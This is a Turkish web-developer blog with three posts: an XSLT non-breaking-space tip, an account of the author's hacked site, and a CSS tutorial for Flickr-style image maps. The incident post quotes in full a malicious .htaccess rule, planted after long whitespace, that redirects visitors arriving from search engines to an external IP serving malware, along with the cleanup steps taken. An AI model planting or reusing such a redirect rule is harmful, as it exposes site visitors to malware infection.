XSLT’de gibi boşluk karakteri verdiğimizde hata veriyor. Bunun bir çözümü olmalı diye bir çok kere aradım buldum, sonra yine lazım oldu yine aradım buldum ve en iyisi buraya yazmak diye düşündüm.
:::xslt
<xsl:text disable-output-escaping="yes"> </xsl:text>
http://stackoverflow.com/questions/31870/using-a-html-entity-in-xslt-eg-nbsp
Bu gün siteme girmeye çalışan Firefox ve Google üzerinden girmeye çalışanların karşılaştığı bir sorun sitem zararlı içerik olduğu için engellenmiş. Aslında tüm arama sitelerinden gelen yönlendirmeler de aynı sorun varmış. En sonunda anladım. Uzun aramalar sonunda http://wordpress.org/support/topic/217700 Bu linkdeki bilgiler doğrultusunda htcaacces içine girilen yönlendirme kodu nedeni ile yaşamışım bu sorunları. Ayrıca yazılarımın için yerleştirilmiş bir iframe reklam linkeleri de var tabi. Yukarıdaki linkdeki işlemleri tek tek yaptım - htaccess dosyasını sildim. - ftp şifremi değiştirdim - hostingh firmamdan sitemin bulnduğu klasörü bir virüs, malware taramasından geçirmelerini istedim. Sorunun ana nedeni htaccess dosyasında ki kodlar olarak görünüyor. Başta uzunca bir boşluktan sonra aşağıdaki kod yazıyordu.
RewriteEngine On RewriteCond %{HTTP_REFERER} .google.$ [NC,OR] RewriteCond %{HTTP_REFERER} .aol.$ [NC,OR] RewriteCond %{HTTP_REFERER} .msn.$ [NC,OR] RewriteCond %{HTTP_REFERER} .altavista.$ [NC,OR] RewriteCond %{HTTP_REFERER} .ask.$ [NC,OR] RewriteCond %{HTTP_REFERER} .yahoo.$ [NC] RewriteRule .* http://89.28.13.202/in.html?s=ix [R,L]
Bu arada cute ftp’de htaccess görüntülemeyide öğrendik. http://blog.youontop.com/server-issues/view-htaccess-hidden-files-in-cuteftp-38.html Muhtemelen sorun haftasonu benim kalıcı bağlantılarım gittinde oldu ve ben bunu anlamadım. Asıl sorunun ise sitemi yahoo.com’da aradığımda karşılaştım, linke tıkladığımda bilgisayarıma zararlı yazılım eklemeye çalıştı. Zaten yukarıdaki kodda da bu açıkça görülüyor, siteme direk girişlerde değilde arama sonuçlarından gelince yüklenmeye çalışıyor. Ama hesap edemedikleri şey google’un bunu görüp sitemi kapatması. Google’un ve Firefox’un sitemi engellemeleri daha bitmedi. Google Web Yöneticis aracındaki incelemeye alın işaret kutunu işaretledim ve StopBadware.org’daki formuda doldurdum. Neyse hayırlısı bakalım. Bu durumu gören ve beni uyaran tüm arkadaşlara teşekkürler. Umarım bu tip sorunlarla bi daha karşılaşmayız.
Ayrıca http://fatihhayrioglu.com/?ref=siteAdi gibi linkler var. Bunlarıda robots.txt User-agent: * Disallow: /ref= Disallow: /*?ref= kodlarını ekleyerek düzelttim. İşin ilginci bu linkleri google’un arama aracı nasıl buluyor.
Ben ilk defa Flickr’da(bir örnek verelim. Dexter HTML kesiyormuş. :) gördüğüm bu metodu çok ilginç bulmuştum. Gerçekten kullanıcıya yardımcı olan bir uygulama, görünümü hoş ve işlevsel. İlk gördüğümde bu işin javascript yardımı ile yapıldığını düşünmüştüm ki araştırdığım da gördüm ki javascript yardımı ile yapanlar var, ama sadece css ile bu işi yapanlarda var. Bu konuyu araştırıp bir yazı yazmayı konuyu CSS Mastery kitabında okuduğumda karar vermiştim, ancak olmadı nasip şimdiye imiş.
Resim haritalama işi aslında bizim HTML’den aşina olduğumuz bir konu. Eskiden çok kullanırdık şimdilerde html e-postalarda(mailing) daha ziyade kullanılıyor. Resmin belli noktalarına link verebilmek çok güzel bir işti. Ben daha bu işlere ilk başladığımdaki o zamanlar FrontPage ile yapmaya çalışıyordum bu işleri. Resim haritalarını çözmek 1 haftamı almıştı. Gülermisin ağlarmısın :D
Biz burada flickr’dakine benzer bir uygulamayı beraber yapacağız. Aslında burada kullanacağımız teknik bildiğimiz göreceli eleman içindeki mutlak elemanın konumlandırması tekniğidir. Resmimizi içeren göreceli konumlandırılmış bir elaman koyup resim üzerinde belirteceğimiz noktalarıda mutlak konumlandıracağız ve bu noktaları farenin üzerine geldiğinde belirtip ilgili açıklamayı göstereceğiz. Flickr’dakine benzer bir görüntü olması için iki fazladan <span> ekleyeceğiz, bunları kaldırada biliriz.
HTML kodumuzu yazalım
:::html
<ul id="foto">
<li class="dexter"><a href="http://www.sho.com/site/dexter/"><span class="dis"><span class="ic"><span class="bilgi">Dexter</span></span></span></a></li>
<li class="html"><a href="http://www.w3.org/TR/REC-html40/"><span class="dis"><span class="ic"><span class="bilgi">HTML 4</span></span></span></a></li>
</ul>
CSS kodunu kademe kademe açıklayarak yazarsak;
Burada resmimizi ul elemanı ardalan resmi olarak atadık. Bu teknikde önemli olan dıştaki kapsayıcı elemanı(ul#foto) göreceli konumlandırıp, fare üzerine geldiğinde resmin etrafını çizip bilgisini göstermek. Bu resimde üzerini çizdiğimiz ve bilgisini gösterdiğimiz elemanlarada(<li class=”dexter”> ve <li class=”html”>) mutlak konumlandırma ile tanımlayıp resmin üzerinde istediğimiz konuma yerleştiriyoruz.
:::css
ul#foto{
width: 500px;
height: 331px;
position: relative;
background: url(images/dexter.jpg) no-repeat;
margin: 0;
padding: 0;
list-style: none;
}
Aşağıdaki kodda her bir haritalanacak nesne bir link olduğu için her birine tek tek atamaktansa genel bir tanım ile tüm linkleri mutlak konumlandırıyoruz ve kenar çizgisini tanımlıyoruz.
:::css
ul#foto a {
position: absolute;
color: #000;
text-decoration: none;
border: 1px solid transparent;
}
Her bir haritalanacak eleman için genişlik yüksek tanımını yapıyor ve kapsayıcı elemana göre konumunu belirliyoruz. Ayrıca haritalanan elemanların açıklamaları için konumu tanımı ve görünüm tanımlarını yapıyoruz.
Son iki satır kodlar normal css standart kodlamasının dışında, Flickr’daki gibi bilgi kutusunun köşelerini yuvarlamak için tanımlar yaptık. Firefox için -moz-border-radius: 3px; Safari ve Google Chrome için -webkit-border-radius: 3px; tanımlarını yaptık. Internet Explorer kullanıcıları için şimdilik bir çözüm yok.
:::css
ul#foto .dexter a {
width: 110px;
height: 175px;
top: 25px;
left: 60px;
}
ul#foto .html a {
width: 50px;
height: 80px;
top: 195px;
left: 408px;
}
ul#foto a .bilgi {
position: absolute;
bottom: -25px;
width: 100%;
padding: 2px;
background-color:#ffc;
text-align: center;
left: -30000px;
font:11px Arial, Helvetica, sans-serif;
margin-left: -60px;
-moz-border-radius: 3px;
-webkit-border-radius: 3px;
}
Amacımız Flickr tipi bir resim haritası oluşturmak olduğu için, iki kenar çizgisi tanımı yapmak için iki adet <span> etiketi yazdık ve bunlara dış(.dis) ve iç(.ic) sınıfları tanımladık. Tanımladığımız her bir dis ve ic nesnesine haritaladığımız nesnelerin genişlik ve yükseklerinin 2px daha düşük değerlerini vererek üst üste binmelerini önledik ve görünümünü düzenlemiş olduk. Eğer istersek bu <span> etiketlerini kaldırabiliriz, daha sade bir görünüm olur.
:::css
ul#foto a .dis, ul#foto a .ic {
display: block;
}
ul#foto .dexter a .dis {
width: 108px;
height: 173px;
}
ul#foto .html a .dis {
width: 48px;
height: 78px;
}
ul#foto .dexter a .ic {
width: 106px;
height: 171px;
}
ul#foto .html a .ic {
width: 46px;
height: 76px;
}
Fare haritalanan alanların üzerine gelince çıkacak bilgilendirme alanının yerini belirliyoruz. - 3000px ile görüntüden çıkardığımız bilgi alanını görünür yapıp istediğimiz yere yerleştirdik.
:::css
ul#foto a:hover .bilgi { left: 60px; }
Tüm resmin üzerine gelindiğinde ve haritalanan alanların üzerine gelindiğinde kenar çizgi renklerini değiştirerek farklı bir görünüm kazandırıyoruz.
:::css
ul#foto a:hover {
border-color: #d4d82d;
}
ul#foto:hover a .dis, ul#foto a:hover .dis {
border: 1px solid #000;
}
ul#foto:hover a .ic, ul#foto a:hover .ic {
border: 1px solid #fff;
}
Sonuçta görsel ve işlevsel olarak çok güzel bir uygulama elde ettik. Uygulanabileceği yerler kısıtlıda olsa, uygulandığın da güzel bir görünüm ve işlevsel bir sonuç elde edeceğimiz bu uygulama bizi birçok avantaj sağlar.
Örnek uygulamayı görmek için tıklayınız
CSS Mastery: Advanced Web Standards Solutions - Andy Budd [http://www.frankmanno.com/ideas/css-imagemap/]: http://www.frankmanno.com/ideas/css-imagemap/ [http://www.frankmanno.com/ideas/css-imagemap-redux/]: http://www.frankmanno.com/ideas/css-imagemap-redux/ [http://www.cssplay.co.uk/menu/imap.html]: http://www.cssplay.co.uk/menu/imap.html [http://www.cssplay.co.uk/menu/old_master.html]: http://www.cssplay.co.uk/menu/old_master.html